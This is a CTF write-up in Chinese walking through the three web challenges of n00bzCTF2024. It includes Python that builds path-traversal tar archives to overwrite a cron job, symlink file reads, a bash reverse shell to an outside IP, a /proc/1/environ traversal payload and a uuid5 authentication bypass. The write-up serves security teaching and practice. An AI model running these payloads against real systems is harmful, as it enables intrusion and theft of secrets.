当前位置: 首页 > news >正文

【Web】复现n00bzCTF2024 web题解(全)

目录

File Sharing Portal 

方法一:

方法二:

Focus-on-yourSELF

Passwordless


File Sharing Portal 

附件的Dockerfile给了这么一段

# Add the cron job to the crontab
RUN mkdir /etc/cron.custom
RUN echo "*/5 * * * * root rm -rf /app/uploads/*" > /etc/cron.custom/cleanup-cron
RUN echo "* * * * * root cd / && run-parts --report /etc/cron.custom" | tee -a /etc/crontab
# Give execution rights on the cron job
RUN chmod +x /etc/cron.custom/cleanup-cron
RUN crontab /etc/cron.custom/cleanup-cron
RUN crontab /etc/crontab
  • 创建目录/etc/cron.custom 用于存储自定义的 cron 任务。
  • 定义清理任务:每 5 分钟清理 /app/uploads/ 目录下的文件,写入到 /etc/cron.custom/cleanup-cron 文件中。
  • 在 crontab 中注册:将 /etc/cron.custom 目录中的任务每分钟运行一次,run-parts 会执行目录下的所有脚本。
  • 赋予执行权限:给 cron 脚本执行权限。
  • 安装到 crontab:通过 crontab 命令安装任务到系统中。

那么我们可以用恶意文件覆盖/etc/cron.custom/cleanup-cron

注意到flag在/app下

COPY REDACTED.txt /app/
# The flag file is redacted on purpose

题目源码存在目录穿越漏洞 

tar_file.extractall():解压 .tar 文件的 extractall() 方法未指定安全检查,因此如果 .tar 文件包含特意构造的文件路径(如 ../../),则攻击者可以将文件解压到任意目录,甚至覆盖系统中的敏感文件。

先用路径穿越覆盖/etc/cron.custom/cleanup-cron

方法一:

cronjob.txt

#!/bin/bash
ls /app/ > /app/ls.txt

再给777权限

chmod 777 cronjob.txt

 生成一个恶意的tar文件,上传

import tarfile
import os# Overwrite the cronjob
with tarfile.open('write.tar', 'w') as tar:tar.add('cronjob.txt', arcname='../../../etc/cron.custom/cleanup-cron') 

再用软链接读/app/ls.txt

ln -s /app/ls.txt dummy.txt

生成tar包,上传

import tarfiledef create_tar_with_symlinks(tar_path, path):with tarfile.open(tar_path, 'w') as tar:tar.add(path, arcname=path)create_tar_with_symlinks('read_ls_txt.tar', 'dummy.txt') # Read dummy.txt to read the `ls.txt`

 读dummy.txt得到flag文件名

/app/flag_15b726a24e04cc6413cb15b9d91e548948dac073b85c33f82495b10e9efe2c6e.txt

 

rm dummy.txt
ln -s /app/flag_15b726a24e04cc6413cb15b9d91e548948dac073b85c33f82495b10e9efe2c6e.txt dummy.txt
import tarfiledef create_tar_with_symlinks(tar_path, path):with tarfile.open(tar_path, 'w') as tar:tar.add(path, arcname=path)create_tar_with_symlinks('read_flag.tar', 'dummy.txt') # Read dummy.txt to read the flag!

同理上传生成的tar,读dummy.txt拿到flag

方法二:

 cronjob.txt直接写反弹shell

#!/bin/bash
bash -c "bash -i >& /dev/tcp/124.222.136.33/1337 0>&1"

再生成恶意tar包,上传

import tarfile
import os# Overwrite the cronjob
with tarfile.open('rev.tar', 'w') as tar:tar.add('cronjob.txt', arcname='../../../etc/cron.custom/cleanup-cron') 

成功反弹shell

翻目录拿flag

 

Focus-on-yourSELF

点击View会显示一张图片

注意到url存在文件包含点

尝试打目录穿越

payload:

/view?image=../../../../../../../../../proc/1/environ

 

base64解码拿到flag

Passwordless

 源码

#!/usr/bin/env python3
from flask import Flask, request, redirect, render_template, render_template_string
import subprocess
import urllib
import uuid
global leetapp = Flask(__name__)
flag = open('/flag.txt').read()
leet=uuid.UUID('13371337-1337-1337-1337-133713371337')@app.route('/',methods=['GET','POST'])
def main():global usernameif request.method == 'GET':return render_template('index.html')elif request.method == 'POST':username = request.values['username']if username == 'admin123':return 'Stop trying to act like you are the admin!'uid = uuid.uuid5(leet,username) # super secure!return redirect(f'/{uid}')@app.route('/<uid>')
def user_page(uid):if uid != str(uuid.uuid5(leet,'admin123')):return f'Welcome! No flag for you :('else:return flagif __name__ == '__main__':app.run(host='0.0.0.0', port=1337)

自己生成给定命名空间下admin123的uuid即可

import uuid# 定义固定的命名空间 UUID
leet = uuid.UUID('13371337-1337-1337-1337-133713371337')# 生成 uuid5 值
uid = uuid.uuid5(leet, 'admin123')# 输出结果
print(uid)
#3c68e6cc-15a7-59d4-823c-e7563bbb326c

访问./3c68e6cc-15a7-59d4-823c-e7563bbb326c拿到flag 

相关文章:

【Web】复现n00bzCTF2024 web题解(全)

目录 File Sharing Portal 方法一&#xff1a; 方法二&#xff1a; Focus-on-yourSELF Passwordless File Sharing Portal 附件的Dockerfile给了这么一段 # Add the cron job to the crontab RUN mkdir /etc/cron.custom RUN echo "*/5 * * * * root rm -rf /app…...

仿RabbitMQ实现消息队列客户端

文章目录 客⼾端模块实现订阅者模块信道管理模块异步⼯作线程实现连接管理模块生产者客户端消费者客户端 客⼾端模块实现 在RabbitMQ中&#xff0c;提供服务的是信道&#xff0c;因此在客⼾端的实现中&#xff0c;弱化了Client客⼾端的概念&#xff0c;也就是说在RabbitMQ中并…...

CSS | 面试题:你知道几种移动端适配方案?

目录 一、自适应和响应式 二、为什么要做移动端适配&#xff1f; 三、当前流行的几种适配方案 (1) 方案一&#xff1a;百分比设置&#xff08;不推荐&#xff09; (2) 方案二&#xff1a;rem 动态设置 font-size px 与 rem 的单位换算 手动换算 less/scss函数 webpac…...

【web安全】——XSS漏洞

1.XSS漏洞基础 1.1.漏洞成因 XSS(Cross-site scripting)被称为跨站脚本攻击&#xff0c;由于与层叠样式表的缩写一样&#xff0c;因此被缩写为XSS.XSS漏洞形成的原因是网站/程序对前端用户的输入过滤不严格&#xff0c;导致攻击者可以将恶意的is/html代码注入到网页中&#x…...

JAVA基础语法 Day11

一、Set集合 Set特点&#xff1a;无序&#xff08;添加数据的顺序和获取出的数据顺序不一致&#xff09;&#xff0c;不重复&#xff0c;无索引 public class demo1 {public static void main(String[] args) {//1.创建一个集合//HashSet特点&#xff1a;无序&#xff0c;不重…...

知识图谱入门——7:阶段案例:使用 Protégé、Jupyter Notebook 中的 spaCy 和 Neo4j Desktop 搭建知识图谱

在 Windows 环境中结合使用 Protg、Jupyter Notebook 中的 spaCy 和 Neo4j Desktop&#xff0c;可以高效地实现从自然语言处理&#xff08;NLP&#xff09;到知识图谱构建的全过程。本案例将详细论述环境配置、步骤实现以及一些扩展和不足之处。 文章目录 1. 环境准备1.1 Neo4j…...

【AIGC】VoiceControl for ChatGPT指南:轻松开启ChatGPT语音对话模式

博客主页&#xff1a; [小ᶻZ࿆] 本文专栏: AIGC | ChatGPT 文章目录 &#x1f4af;前言&#x1f4af;安装VoiceControl for ChatGPT插件&#x1f4af;如何使用VoiceControl for ChatGPT进行语音输入VoiceControl for ChatGPT快捷键注意点 &#x1f4af;VoiceControl for C…...

基于SpringCloud的微服务架构下安全开发运维准则

为什么要进行安全设计 微服务架构进行安全设计的原因主要包括以下几点&#xff1a; 提高数据保护&#xff1a;微服务架构中&#xff0c;服务间通信频繁&#xff0c;涉及到大量敏感数据的交换。安全设计可以确保数据在传输和存储过程中的安全性&#xff0c;防止数据泄露和篡改。…...

vue的图片显示

通过参数 调用方法 进行显示图片 方法一: 方法二:...

深度学习06:线性回归模型

线性回归&#xff1a;从理论到实现 1. 什么是线性回归&#xff1f; 线性回归是一种用于预测因变量&#xff08;目标值&#xff09;和自变量&#xff08;特征值&#xff09;之间关系的基本模型。它假设目标值&#xff08;y&#xff09;是特征值&#xff08;x&#xff09;的线性…...

Angular ng-state script 元素的生成机制介绍

ng-state 的生成过程是在 Angular SSR 中非常关键的部分。为了让客户端能够接管服务器渲染的页面状态&#xff0c;Angular 在服务器端需要将应用的当前状态保存下来&#xff0c;并将其嵌入到返回的 HTML 中。这样&#xff0c;客户端在接管时就可以直接使用这些状态&#xff0c;…...

小程序-全局数据共享

目录 1.什么是全局数据共享 2. 小程序中的全局数据共享方案 MboX 1. 安装 MobX 相关的包 2. 创建 MobX 的 Store 实例 3. 将 Store 中的成员绑定到页面中 4. 在页面上使用 Store 中的成员 5. 将 Store 中的成员绑定到组件中 6. 在组件中使用 Store 中的成员 1.什么是全…...

vSAN01:vSAN简介、安装、磁盘组、内部架构与调用关系

目录 传统的共享存储vSAN存储OSA的系统要求vSAN安装vSAN集群vSAN skyline healthvSAN与HA磁盘组混合磁盘架构全闪磁盘架构 vSAN对象vSAN内部架构 传统的共享存储 通过隔离的存储网络使得不同的ESXi主机访问独立的存储设备。需要前期投入较高的资金单独采购存储、网络可以单独规…...

Apache NiFi最全面试题及参考答案

目录 解释什么是Apache NiFi以及它的主要用途。 NiFi 的数据处理流程是怎样的? NiFi 的架构包括哪些组件? 解释 NiFi 的 “FlowFile” 概念及其组成部分。 NiFi 的 “Processor” 是什么?有哪些类型? 如何在 NiFi 中创建一个新的数据流? NiFi 的 “Connection” 有…...

基于Docker部署最新版本SkyWalking【10.1.0版本】

文章目录 前言前置条件一、创建Docker 网络二、部署 SkyWalking OAP 服务器三 部署 SkyWalking UI四 查看日志4.1. 查看 SkyWalking OAP 日志4.2. 查看 SkyWalking UI 日志 五 停止并删除容器结论 前言 由于本地的 JDK 版本与 SkyWalking 对应的 JDK 版本不一致&#xff0c;为…...

如何在 Ubuntu 18.04 上使用 LEMP 安装 WordPress

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。 简介 WordPress 是互联网上最流行的 CMS&#xff08;内容管理系统&#xff09;。它允许您在 MySQL 后端和 PHP 处理的基础上轻松设置灵…...

shadcn-vue 快速入门(2)

components.json 关于项目配置 components.json 文件保存了项目的配置信息。 我们使用该文件了解项目的基本设定&#xff0c;并生成定制化的组件以适应项目需求。 注意&#xff1a;components.json 文件是可选的&#xff0c;仅在使用 CLI 向项目添加组件时才需要。如果使用复…...

Oracle数据恢复—异常断电导致Oracle数据库报错的数据恢复案例

Oracle数据库故障&#xff1a; 机房异常断电后&#xff0c;Oracle数据库启库报错&#xff1a;“system01.dbf需要更多的恢复来保持一致性&#xff0c;数据库无法打开”。数据库没有备份&#xff0c;归档日志不连续。用户方提供了Oracle数据库的在线文件&#xff0c;需要恢复zxf…...

数据结构-4.1.特殊矩阵的压缩存储

一.一维数组的存储结构&#xff1a; 1.知道一维数组的起始地址&#xff0c;就可以求出任意下标对应的元素所在的地址&#xff1b; 2.注&#xff1a;如果数组下标从1开始&#xff0c;上述公式的i就要改为i-1&#xff1b; 3.数组里的元素类型相同&#xff0c;因此所占空间也相同…...

Hive数仓操作(十四)

一、Hive的DDL语句 在 Hive 中&#xff0c;DDL&#xff08;数据定义语言&#xff09;语句用于数据库和表的创建、修改、删除等操作。以下是一些重要的 DDL 语句&#xff1a; 1. 创建数据库和表 创建数据库 CREATE DATABASE IF NOT EXISTS database_name;创建表 CREATE TABLE …...

基于AI政策路径与通胀预期模型的美联储决策分析:鲍威尔观望信号引发加息预期归零

摘要&#xff1a;本文通过构建AI政策路径预测模型&#xff0c;结合通胀预期识别系统、能源价格传导算法与劳动力市场评估框架&#xff0c;对美联储在当前环境下的利率决策逻辑进行分析&#xff0c;重点解析“观望策略”背后的模型依据及市场加息预期快速回落的原因。一、AI政策…...

工具调用准确率飙到95%!Qwen-7B解耦微调实战实录(非常详细),大模型调优从入门到精通,收藏这一篇就够了!

用Qwen-7B做Agent&#xff0c;本来信心满满&#xff0c;结果MCP一跑&#xff0c;选工具选不对、参数填得稀巴烂&#xff0c;准确率惨不忍睹&#xff0c;最高也就60%徘徊。 后来我发现&#xff1a;普通LoRA根本救不了复杂工具调用。 真正能救命的&#xff0c;是2026年最火的解…...

Python内存管理策略对比评测报告(2024权威版):仅1种策略通过了金融级SLA压力测试,其余4种已淘汰

第一章&#xff1a;Python智能体内存管理策略对比评测报告&#xff08;2024权威版&#xff09;概述Python智能体&#xff08;如基于LLM的Agent框架、自主任务调度器、多步推理引擎&#xff09;在运行过程中面临高频对象创建、长生命周期缓存、跨线程引用共享等复杂内存场景。传…...

Mermaid在线编辑器终极指南:从代码思维到专业图表的无缝转换体验

Mermaid在线编辑器终极指南&#xff1a;从代码思维到专业图表的无缝转换体验 【免费下载链接】mermaid-live-editor Edit, preview and share mermaid charts/diagrams. New implementation of the live editor. 项目地址: https://gitcode.com/GitHub_Trending/me/mermaid-l…...

MediaPipe人脸检测避坑指南:如何优化检测精度与性能(含模型选择建议)

MediaPipe人脸检测实战优化&#xff1a;从参数调优到模型部署的完整指南 人脸检测作为计算机视觉的基础任务&#xff0c;其性能直接影响后续的面部分析效果。MediaPipe提供的轻量级解决方案在移动端和边缘设备上表现出色&#xff0c;但实际应用中常遇到误检、漏检或性能瓶颈问题…...

保姆级教程:从WOS下载文献到Citespace出图,手把手搞定科研可视化(附避坑指南)

科研可视化实战&#xff1a;从WOS数据采集到Citespace图谱优化的完整指南 第一次打开Citespace时&#xff0c;看着满屏的英文参数和报错提示&#xff0c;我盯着屏幕发了十分钟呆——这大概是每个科研新手都会经历的"震撼教育"。文献计量分析本应是揭示知识脉络的利器…...

MogFace人脸检测工具问题排查大全:从路径错误到权限问题的解决方案

MogFace人脸检测工具问题排查大全&#xff1a;从路径错误到权限问题的解决方案 1. 工具简介与常见问题概述 MogFace人脸检测工具是基于CVPR 2022发表的MogFace模型开发的本地高精度检测解决方案。它能够准确识别多尺度、多姿态以及部分遮挡的人脸&#xff0c;并自动标注检测框…...

这面镜子,照出了什么?——一次“自找麻烦“的差距分析实录

在多篇推文的评论区&#xff0c;关于实战案例的呼声一直很高。今天&#xff0c;我们就聊一聊发生在义翘神州实验室日常检测和质量管理中的案例&#xff0c;来一场“自我找茬”&#xff1a;差距分析。 在质量管理领域&#xff0c;“差距分析”这四个字耳熟能详。它就像一面镜子&…...

GCN在推荐系统中的应用:如何用图神经网络提升电商个性化推荐效果

GCN在电商推荐系统中的实战指南&#xff1a;从二部图构建到A/B测试全流程 当你在电商平台浏览商品时&#xff0c;那些"猜你喜欢"的推荐背后&#xff0c;可能正运行着一套基于图神经网络(GCN)的复杂算法系统。与传统的协同过滤不同&#xff0c;GCN能够捕捉用户-商品交…...

3个技巧让Blender对齐效率提升10倍:QuickSnap插件全攻略

3个技巧让Blender对齐效率提升10倍&#xff1a;QuickSnap插件全攻略 【免费下载链接】quicksnap Blender addon to quickly snap objects/vertices/points to object origins/vertices/points 项目地址: https://gitcode.com/gh_mirrors/qu/quicksnap 在三维建模的日常工…...